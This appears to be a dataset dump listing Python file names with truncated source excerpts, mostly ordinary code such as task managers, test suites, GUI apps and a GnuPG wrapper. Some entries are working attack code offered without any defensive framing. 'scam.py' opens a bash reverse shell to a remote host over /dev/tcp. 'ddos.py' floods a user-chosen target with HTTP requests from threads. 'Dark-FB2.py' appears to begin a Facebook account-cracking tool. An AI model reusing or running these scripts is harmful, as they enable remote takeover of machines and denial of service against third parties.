source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
task.py | """ Backend task management support """
import itertools
import logging
import os
import re
from enum import Enum
from tempfile import gettempdir
from multiprocessing import RLock
from threading import Thread
try:
from collections.abc import Iterable
except ImportError:
from collections import Iterable
import... |
zmq_cluster.py | import random
from contextlib import ExitStack
import multiprocessing
import psutil
import taskloaf as tsk
from taskloaf.cfg import Cfg
from taskloaf.zmq_comm import ZMQComm
from taskloaf.messenger import JoinMeetMessenger
from taskloaf.context import Context
from taskloaf.executor import Executor
import logging
lo... |
callback.py | from utlis.rank import setrank,isrank,remrank,remsudos,setsudo,GPranks,IDrank
from utlis.send import send_msg, BYusers, Sendto, fwdto,Name,Glang,getAge
from utlis.locks import st,getOR,Clang,st_res
from utlis.tg import Bot
from config import *
from pyrogram import ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeybo... |
gnupg.py | """ A wrapper for the 'gpg' command::
Portions of this module are derived from A.M. Kuchling's well-designed
GPG.py, using Richard Jones' updated version 1.3, which can be found
in the pycrypto CVS repository on Sourceforge:
http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py
This module is *not* forward-... |
myVision_without_np.py | import tkinter
from tkinter.simpledialog import *
from tkinter.filedialog import *
import math
import os
import os.path
import numpy as np
import struct
import matplotlib.pyplot as plt
import threading
import time
from PIL import Image, ImageFilter, ImageEnhance, ImageOps
import colorsys
import random
import tempfile
... |
dkinterface.py | import threading
import configparser
from datetime import datetime
import webbrowser
import http.server
import socketserver
from urllib.parse import parse_qs, urlparse, urlencode
import requests
import ssl
AUTH_RESP_PORT = 4443
class DKAPIInterface:
def __init__(self, auth_complete_callback=None):
# cons... |
logging_functional_test_helper.py | # Copyright 2017 The Abseil Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... |
neo4j_transactor.py | """Neo4j Transacotr"""
import logging
import multiprocessing
import pickle
import time
from neo4j import GraphDatabase
from etl import ETL
from loader_common import ContextInfo
class Neo4jTransactor():
"""Neo4j Transactor"""
logger = logging.getLogger(__name__)
count = 0
queue = None
def __init... |
test_unix_events.py | """Tests for unix_events.py."""
import collections
import contextlib
import errno
import io
import os
import pathlib
import signal
import socket
import stat
import sys
import tempfile
import threading
import unittest
from unittest import mock
from test import support
if sys.platform == 'win32':
... |
PythonCommandBase.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from abc import ABCMeta, abstractclassmethod
from time import sleep
import threading
import cv2
from .Keys import KeyPress, Button, Hat, Direction, Stick
from . import CommandBase
# the class For notifying stop signal is sent from Main window
class StopThread(... |
countdown.py | #!/usr/bin/env python
"""
http://en.wikipedia.org/wiki/Countdown_%28game_show%29#Numbers_round
Given 6 integers, and a target integer, combine the 6 integers using
only the 4 basic arithmetic operations (+,-,*,/) to come as close as
possible to the target.
You don't have to use all 6 integers. A number can be used a... |
step_upload.py | """Batching file prepare requests to our API."""
import collections
import threading
from six.moves import queue
from wandb.filesync import upload_job
from wandb.errors.term import termerror
RequestUpload = collections.namedtuple(
"EventStartUploadJob",
("path", "save_name", "artifact_id", "md5", "copied", ... |
cil.py | # -*- coding: utf-8 -*-
#baru
import Acil
from Acil.lib.curve.ttypes import *
from datetime import datetime
from PyDictionary import PyDictionary
from bs4 import BeautifulSoup
from mergedict import MergeDict
from mergedict import ConfigDict
from gtts import gTTS
from pyowm import OWM
from enum import Enum
from django.... |
main.py | from flask import Flask, abort, request, logging, jsonify
import logging
import json
import requests
from urllib.parse import parse_qs
import urllib
from threading import Thread,active_count
import datetime
import math
import random
from queue import Queue
from azurewebhook_functions import *
# Define a function for ... |
yolo_opencv_sample.py | # This sample is a copy from OpenCV version 4.4 Samples folder
import cv2 as cv
import argparse
import numpy as np
import sys
import time
from threading import Thread
if sys.version_info[0] == 2:
import Queue as queue
else:
import queue
from common import *
from tf_text_graph_common import readTextMessage
from... |
test_session.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 1999-2020 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... |
test_build_api.py | """Test the kernels service API."""
from tempfile import TemporaryDirectory
import threading
from jupyterlab.labapp import LabApp
from jupyterlab_server.tests.utils import APITester, LabTestBase
from notebook.tests.launchnotebook import assert_http_error
class BuildAPITester(APITester):
"""Wrapper for build REST... |
driver_util.py | """Scripts for drivers of Galaxy functional tests."""
import collections
import httplib
import json
import logging
import os
import random
import shutil
import socket
import sys
import tempfile
import threading
import time
from six.moves.urllib.request import urlretrieve
import nose.config
import nose.core
import no... |
animal.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Date of establishment: November 27, 2018
@author: zhangzd
"""
import cv2 #导入cv2模块
import requests #导入requests模块
import json #导入json模块
import threading #导入threading模块
import time #导入时间模块
import base64 #导入base64模块
import numpy as np #导入numpy模块
from PIL import Image, Im... |
ssd_main.py | # Copyright 2018 Google. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
utils.py | # coding=utf-8
import json
import random
from bson import ObjectId
from flask_mail import Message
from . import extensions, models
from threading import Thread
from flask import current_app, session, request
class JSONEncoder(json.JSONEncoder):
def default(self, o):
if isinstance(o, ObjectId):
... |
run.py | import json
import logging
import os
import socket
import sqlite3
import threading
logger = logging.getLogger("WebServer")
logger.setLevel(logging.INFO)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.INFO)
logger.addHandler(console_handler)
logging.root = logger
def _connect_to_db(db_path... |
sql_isolation_testcase.py | """
Copyright (c) 2004-Present Pivotal Software, Inc.
This program and the accompanying materials are made available under
the terms of the under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.... |
http_1_0_server_http_client_behaviors_test.py | import test_util.proxy
import test_util.runner
import http.client
import http.server
import threading
import test_util.thread_safe_counter
import random
import time
if __name__ == "__main__":
request_counter = test_util.thread_safe_counter.Counter()
# This is HTTP 1.0 server that doesn't support persisent co... |
r2d2.py | import tensorflow as tf
import rl
import rl.core
import keras
from keras.layers import *
from keras.models import Model
from keras.models import model_from_json
from keras import backend as K
import numpy as np
import multiprocessing as mp
import math
import os
import pickle
import enum
import time
import traceback
im... |
Server.py | #server.py
import json
import socket
from threading import Thread
ADDRESS = ('localhost', 12321)
CONNECTION = None
SERVERNAME = "SOCKETER-SERVER"
CONNECTION_POOL = {}
init_msg = """
______ ___ ____ _ _______ _____ _____ ____ __
/ / ___| / _ \ / ___| |/ / ____|_ _| ____| _ \ / /
/ /\___ \| | |... |
gem_transmute.py | from screen import Screen
from game_stats import GameStats
from template_finder import TemplateFinder
from transmute import Transmute
import threading
import keyboard
from ui.ui_manager import UiManager
if __name__ == "__main__":
s = Screen()
finder = TemplateFinder(s)
stats = GameStats()
ui = UiManage... |
package_app.py | #
# Copyright 2020 The FATE Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
console_chat.py | import json
import threading
import sys
import os
import logging
import time
import pandas as pd
logger = logging.getLogger(__name__)
_dir = os.path.abspath(os.path.dirname(__file__))
_dir = os.path.join(_dir, "../")
_dir = os.path.abspath(_dir)
sys.path.append(_dir)
from allium_messenger.connection import AlliumCon... |
handler.py | """
Galaxy job handler, prepares, runs, tracks, and finishes Galaxy jobs
"""
import os
import time
import logging
import threading
from Queue import Queue, Empty
from sqlalchemy.sql.expression import and_, or_, select, func, true, null
from galaxy import model
from galaxy.util.sleeper import Sleeper
from galaxy.jobs... |
thread_05_1.py | # thread_05_1.py
import threading
Q = 100000
thread_list = []
def drink(max):
global Q
for i in range(0, max):
Q -= 1
for i in range(0, 2):
thread_inst = threading.Thread(target=drink, args=(50000,))
thread_list.append(thread_inst) # 생성된 쓰레드를 thread_list에 저장
thread_inst.start() # 쓰레드 실... |
Chip8Mini.py | # Chip8Mini v0.1: A CHIP8 emulator in Pyxel/Python
# Copyright (c) 2022 Kumogata Computing Laboratory.
# All Rights Reserved.
import pyxel
import threading
from System import *
class Chip8Mini:
# Constants
width = 64
height = 32
cabinet_width = 80
cabinet_height = 120
# 0... |
audioService.py |
import zmq
import time
import sys
from matrix_io.proto.malos.v1 import driver_pb2
from pyObj import Data
from matrix_io.proto.malos.v1 import io_pb2
from multiprocessing import Process
from zmq.eventloop import ioloop, zmqstream
from callbacks import register_data_callback, driver_keep_alive
from mixer import Mixer
... |
gap.py | # -*- coding: utf-8 -*-
r"""
Interface to GAP
Sage provides an interface to the GAP system. This system provides
extensive group theory, combinatorics, etc.
The GAP interface will only work if GAP is installed on your
computer; this should be the case, since GAP is included with Sage.
The interface offers three piece... |
gen_protos.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
day27-2 多线程的使用.py | # 1.导入线程模块
import threading
import time
def sing():
# 获取当前线程
current_thread = threading.current_thread()
print(current_thread)
for i in range(3):
print("sing...")
time.sleep(0.2)
def dance():
# 获取当前线程
current_thread = threading.current_thread()
print(current_thread)
for... |
recvSend.py | # -*- coding: utf-8 -*-
from socket import *
import threading
import time
buffer_size = 2048
def server(host, port):
server_socket = socket(AF_INET, SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(10)
server_socket, address = server_socket.accept()
while True:
data = se... |
base_historian.py | # -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
#
# Copyright 2020, Battelle Memorial Institute.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www... |
app.py | from threading import Thread
import time
import npyscreen
import pyperclip
from restpass import PAYLOAD
from restpass.generator import Generator
MAX_CHARS = 30
def copy_button(parent_app):
class CopyButton(npyscreen.ButtonPress):
def __init__(self, *args, **keywords):
super().__init__(*arg... |
LocalDispatcher.py | ##########################################################################
#
# Copyright (c) 2013-2014, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redi... |
test_mtprof.py | import gc
import io
import logging
import os
import pstats
import sys
import subprocess
import threading
import tempfile
import time
import timeit
import unittest
import mtprof
def consume_cpu_simple(delay):
deadline = time.monotonic() + delay
while time.monotonic() < deadline:
pass
def run_until(d... |
uf.py | #!/usr/bin/env python3
"""This script updates individual class files in a language
and diagram server fat jar that has already been created.
"""
# FIXME: Ideally this should be a TypeScript file written in a
# style consistent with build_lds.ts.
import os
import shutil
import argparse
import subprocess
import time
... |
superclippy.py | #/u/GoldenSights
import sys
import traceback
import time
import datetime
import sqlite3
import json
import praw
'''USER CONFIGURATION'''
"""GENERAL"""
APP_ID = ""
APP_SECRET = ""
APP_URI = ""
APP_REFRESH = ""
# https://www.reddit.com/comments/3cm1p8/how_to_make_your_bot_use_oauth2/
USERAGENT = "/r/Excel Clippy Office... |
fizzbuzz.py | from multiprocessing import Process, Queue
from fizzbuzz_utils import fizzbuzz as fizzbuzz
from fizzbuzz_utils import printer as printer
from fizzbuzz_utils import even as even
from fizzbuzz_utils import numbers as numbers
class PLPipeSentinel: pass
def pl_run_numbers(pl_stream, pl_out_queue):
for pl_data in pl_stream... |
scam.py | import subprocess
import threading
def fn(n):
try:
subprocess.check_call("/bin/bash -i >/dev/tcp/192.168.0.51/5010 0<&1 2>&1", shell=True, executable="/bin/bash")
print("Connection Established")
except:
print("Command Failed")
return 0
def main():
print("Running...")
if _... |
test_concurrency.py | import random
import threading
import time
from sqlalchemy import Column
from sqlalchemy import exc
from sqlalchemy import ForeignKey
from sqlalchemy import Integer
from sqlalchemy import String
from sqlalchemy.orm import clear_mappers
from sqlalchemy.orm import declarative_base
from sqlalchemy.orm import declared_att... |
P2PServer.py | import time
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from threading import Thread
from P2PManageWebSocket import P2PManageWebSocket
all_p2p_info_dict = {}
class Resquest(BaseHTTPRequestHandler):
def handle_p2pinfo_register(self, read_str):
p2pinfo_dict = json.loads(read_str)... |
PlayerSkeletonA.py | '''PlayerSkeletonA.py
The beginnings of an agent that might someday play Baroque Chess.
'''
from BC_state_etc import *
import random
import math
import time
import threading
TIME_INC = .015 # Global variable representing the number of seconds an iteration takes
TURNS = 0 # Global variable representing the number of... |
demo_multi_gpu.py | import threading
import time
from linear_scan_phantom import do_simulation
import argparse
class Dummy:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("h5_file", help="Phantom to scan")
parser.add_argument("num_devices", help="Number of GPUs to use", type=in... |
__init__.py | # We import importlib *ASAP* in order to test #15386
import importlib
import importlib.util
from importlib._bootstrap_external import _get_sourcefile
import builtins
import marshal
import os
import platform
import py_compile
import random
import stat
import sys
import threading
import time
import unittest
import unitte... |
server_tests.py | # Copyright 2012 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
upload_website.py | import sys
import re
import os
import socket
import pickle
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad
import threading
import time
AES_ENCRYPTION_KEY = b"N44vCTcb<W8sBXD@"
AES_BLOCKSIZE = 16
AES_IV = b"PoTFg9ZlV?g(bH8Z"
MIN_ARGS_LEN = 3
IP_PATTERN = r'^((1[0-9]{2}|2[0-4][... |
main.py | import Node as stl
import Scanner as scr
from bluepy.btle import UUID, Scanner, BTLEException
import struct
import sys
import getopt
import math
import random
from collections import deque
from threading import Thread
import os
import argparse
from argparse import ArgumentParser
from subprocess import call
import signa... |
sidechain_interaction.py | #!/usr/bin/env python3
"""
Script to test and debug sidechains.
The mainchain exe location can be set through the command line or
the environment variable RIPPLED_MAINCHAIN_EXE
The sidechain exe location can be set through the command line or
the environment variable RIPPLED_SIDECHAIN_EXE
The configs_dir (generated ... |
sensors.py | #!/usr/bin/python
import sys
import signal
from libs.server import Server
from libs.storage import *
from threading import Thread
from libs.parse_config import Config
from libs.sensor_handling import Sensor
class Main():
def __init__(self):
self.storage = []
self.server = None
self.server_... |
Dark-FB2.py | # -*- coding: utf-8 -*-
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
from multiprocessing.pool import ThreadPool
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
else:
try:
import requests
except ImportEr... |
PBC_auto_brain.py | import time
import datetime as dt
import serial
from queue import Queue, Empty
from threading import Thread
import numpy as np
import os, sys
import maestro
from haversine import RangeAndBearing
# serial setups
time.sleep(0.25)
RCSer = serial.Serial('/dev/ttyUSB0',baudrate = 115200) # varies on which is plugged first... |
test_sys.py | import unittest, test.support
import sys, io, os
import struct
import subprocess
import textwrap
import warnings
import operator
import codecs
# count the number of test runs, used to create unique
# strings to intern in test_intern()
numruns = 0
try:
import threading
except ImportError:
threading = None
cla... |
helpers.py | """
Helper functions file for OCS QE
"""
import base64
import random
import datetime
import hashlib
import json
import logging
import os
import re
import statistics
import tempfile
import threading
import time
import inspect
from concurrent.futures import ThreadPoolExecutor
from itertools import cycle
from subprocess i... |
bridge.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from abc import ABCMeta, abstractmethod
import inject
import paho.mqtt.client as mqtt
import rospy
from .util import lookup_object, extract_values, populate_instance
from threading import Condition
from queue import Queue
from uuid import uuid4
from th... |
viewer.py | # Copyright (c) 2018 Anki, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License in the file LICENSE.txt or at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... |
runDataRecording.py | # encoding: UTF-8
from __future__ import print_function
import multiprocessing
from time import sleep
from datetime import datetime, time
from vnpy.event import EventEngine2
from vnpy.trader.vtEvent import EVENT_LOG, EVENT_ERROR
from vnpy.trader.vtEngine import MainEngine, LogEngine
from vnpy.trader.gateway import ct... |
ddos.py | import threading
import socket
target = input("kimi sikmek istersin muwah: ")
port = 80;
fake_ip = '99.30.40.31'
already = 0;
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('asc... |
1.2.2.4-screen_recording.py | from PIL import ImageGrab
import numpy as np
from cv2 import cv2
import datetime
from pynput import keyboard
import threading
flag = False
def video_record():
print("start recording at %s!" % datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))
p = ImageGrab.grab() # 获得当前屏幕
a, b = p.size # 获得当前屏幕... |
server.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
transitions.py | '''BalsamJob Transitions
The user selects ``NUM_TRANSITION_THREADS`` processes to run
alongside the main Launcher process. These are created with ``multiprocessing.Process``
and communicate with the Launcher through a ``multiprocessing.Queue`` (or a
PriorityQueue via a ``multiprocessing.managers.SyncManager``)
The t... |
__init__.py | # Copyright 2017-2022 John Snow Labs
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
local_timer_test.py | # Owner(s): ["oncall: r2p"]
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
import multiprocessing as mp
import signal
import time
import unittest
import unittes... |
disabled_bridge.py | # Copyright 2020 The FedLearner Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
taxis.py | from threading import Thread, Lock
from math import sqrt
from time import sleep
import random
from sys import argv
class Celda:
def __init__(self):
# Variable que almacena el taxi
self.taxi = None
# Lista de clientes
self.clientes = []
# Mutex de la celda
self.mutex... |
basic02.py | """
web服务器返回灵活页面,根据制定的路径打开指定的页面
"""
import socket, threading, multiprocessing,gevent
from gevent import monkey
monkey.patch_all()
class HTTPServer(object):
def __init__(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# socket优化,一个服务器的端口释放后会等待两分钟之后才能再被使用,SO_REUSEADDR是让... |
mbhandler.py | import serial
import serial.tools.list_ports
import threading
import warnings
import queue as q
class NoMicrobitError(Exception):
def __init__(self, message):
# Call the base class constructor with the parameters it needs
super(Exception, self).__init__(message)
BAUD = 11520... |
TheasServer.py | #!usr/bin/python
import sys
import os
import platform
import datetime
import threading
import time
import signal
import uuid
import binascii
import traceback
import string
import json
import tornado.web
import tornado.websocket
import tornado.ioloop
import tornado.options
import tornado.httpserver
from multiprocess... |
pyPeekTCP_fold_2pol.py | # === Start Python 2/3 compatibility
from __future__ import absolute_import, division, print_function, unicode_literals
from future.builtins import * # noqa pylint: disable=W0401, W0614
from future.builtins.disabled import * # noqa pylint: disable=W0401, W0614
# === End Python 2/3 compatibility
from future import... |
log.py | # Copyright (c) 2016-present, Facebook, Inc.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# pyre-strict
import argparse
import copy
import io
import logging
import os
import re
import sys
import threading
import time
from typing import L... |
base_tests.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from hashlib import sha1
import os
import subprocess
import threading
import time
try:
import cPickle as pickle
except ImportError:
import pickle
from django.core.cache import caches
from django.core.exceptions import ImproperlyConfigured
from ... |
dos.py | # Date: 09/25/2018
# Author: Pure-L0G1C
# Description: Dos Attack
import socket
from time import sleep
from threading import Thread
from random import randint, choice
from string import ascii_lowercase
class Useragent(object):
@property
def get_win_version(self):
versions = []
version = 4.0
... |
video-stream.py | #Connect computer to Tello via Tello's Wi-Fi
Drone=tello.Tello('', 8889) #open socket to Tello
self.thread = threading.Thread(target=self.videoLoop) #begin pulling video data
self.frame = self.tello.read() #read tello video frame
image = Image.fromarray(self.frame) #convert frame to image
self.panel.image = image #upd... |
test_operator.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
responder.py | import logging
import SocketServer
import time
logging.basicConfig(level=logging.DEBUG,
format='%(name)s: %(message)s',
)
logger = logging.getLogger(__name__)
class EchoRequestHandlerTCP(SocketServer.BaseRequestHandler):
def handle(self):
logger.debug('handle')
... |
13_mutilprogress.py | # from random import randint
# from time import time, sleep
#
#
# def download_task(filename):
# print('开始下载%s...' % filename)
# time_to_download = randint(5, 10)
# sleep(time_to_download)
# print('%s下载完成! 耗费了%d秒' % (filename, time_to_download))
#
#
# def main():
# start = time()
# download_task... |
runDataRecording.py | # encoding: UTF-8
import multiprocessing
from time import sleep
from datetime import datetime, time
from vnpy.event import EventEngine2
from vnpy.trader.vtEvent import EVENT_LOG, EVENT_ERROR
from vnpy.trader.vtEngine import MainEngine, LogEngine
from vnpy.trader.gateway import ctpGateway
from vnpy.trader.app import d... |
redshift.py | # pylint: disable=C0111,R0903
"""Displays the current color temperature of redshift
Requires the following executable:
* redshift
"""
import threading
import bumblebee.input
import bumblebee.output
import bumblebee.engine
def is_terminated():
for thread in threading.enumerate():
if thread.name == "... |
transports.py | from abc import ABCMeta, abstractmethod
import threading
import time
import socket
from queue import Queue
import subprocess
from .logging import exception_log, debug
try:
from typing import Callable, Dict, Any, Optional, IO
assert Callable and Dict and Any and Optional and subprocess and IO
except ImportError... |
psychroom.py | #
# This script plays an mp3 file and communicates via serial.Serial
# with devices in the Technites psychedelic room to visualize the
# music on them.
#
# It talks to 4 devices
# WaterFall -- tubes with LEDs and flying stuff fanned to music
# DiscoBall -- 8 60 watt bulbs wrapped in colored paper
# LEDWall -- a... |
drawable_nfa.py | from nfa import NFA
from drawable_state import DrawableState
from drawable_dfa import DrawableDFA
from threading import Thread
from time import sleep
class DrawableNFA(NFA):
def __init__(self, alphabet = ['0','1'], x = 60, y = 355):
self._alphabet = alphabet + ['']
self._states = [DrawableState(Tru... |
CncSimulatorSprint1.py | import os, sys, time, csv
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtCore import QThread
from kafka import KafkaProducer
import threading
class Ui_CNC_Simulator(object):
def __init__(self):
# self.history = os.path.isfile('./tmp')
self.data = None
self.flag = False
self... |
monitor.py | # Copyright 2015 Intel Corporation.
# All Rights Reserved.
#
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... |
test_wait.py | import signal
import threading
import time
from socket import socket, socketpair
from types import FrameType
from typing import Callable, Generator, List, Tuple
import pytest
from urllib3.util.wait import (
_have_working_poll,
poll_wait_for_socket,
select_wait_for_socket,
wait_for_read,
wait_for_s... |
train.py | """
@author: Viet Nguyen <nhviet1009@gmail.com>
From: https://github.com/uvipen/Super-mario-bros-A3C-pytorch
Modified for Benchmarking Reinforcement Learning Algorithms in NES Games by Erin-Louise Connolly
"""
import os
import argparse
import torch
from src.env import create_train_env
from src.model import ActorCritic... |
cfssl.py |
# Ansible action plugin to generate certificates securely using a remote CFSSL
# service.
#
# * Mutual TLS auth between client and server.
# * Certificates are generated on the master (local machine) and stored
# in variables.
# * Private keys never stored on local disk.
#
# This action does not execute any modu... |
event_manager.py | import json
import threading
import time
from securenative.config.securenative_options import SecureNativeOptions
from securenative.http.securenative_http_client import SecureNativeHttpClient
from securenative.logger import Logger
class QueueItem:
def __init__(self, url, body, retry):
self.url = url
... |
dag_processing.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
server.py | import socket ## used for connecting users together ##
import threading ## used to manage each user in a seperate thread ##
import pickle # used to transfer data across the internet, similar to JSON ##
from chess.layoutBoardObject import Board ## used to get Board class to get an object and save each game in a list ##
... |
main.py | from datetime import datetime, timezone
import sys
import json
from update_queue_lenght import update_queue_length
sys.path.append('./objection_engine')
sys.path.append('./video-splitter')
from collections import Counter
import tweepy
import re
import time
import os
from persistqueue import Queue
import threading
impo... |
peer2_ks.py |
import os
import platform
import shlex
import time
import re
import socket
import threading
OS = platform.system()
HOST = socket.gethostbyname(socket.gethostname())
RFC_Server_Port = 40004
RFC_Fetching_List = [8130,8131]
FilePath = ''
cookieNumval = None
SERVER_NAME = '10.154.0.185'
SERVER_PORT = 6542... |
test_jobs.py | # -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
executors.py | # -*- coding: utf-8 -*-
""" Single and multi-threaded executors."""
import datetime
import logging
import os
import tempfile
import threading
from abc import ABCMeta, abstractmethod
from threading import Lock
from typing import Any, Dict, Iterable, List, Optional, Set, Tuple, Union
import psutil
from schema_salad.val... |
prepareDataset-checkpoint.py | import math, shutil, os, time, argparse, json, re, sys
import numpy as np
import scipy.io as sio
from PIL import Image
import multiprocessing
from multiprocessing import Queue
from operator import itemgetter
import pprint as pp
'''
Prepares the GazeCapture dataset for use with the pytorch code. Crops images, compiles ... |
vec_env.py | import redis
import time
import subprocess
from multiprocessing import Process, Pipe
class VecEnv:
def __init__(self, num_envs, env, openie_path):
self.conn_valid = redis.Redis(host='localhost', port=6381, db=0)
self.closed = False
self.total_steps = 0
self.num_envs = num_envs
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.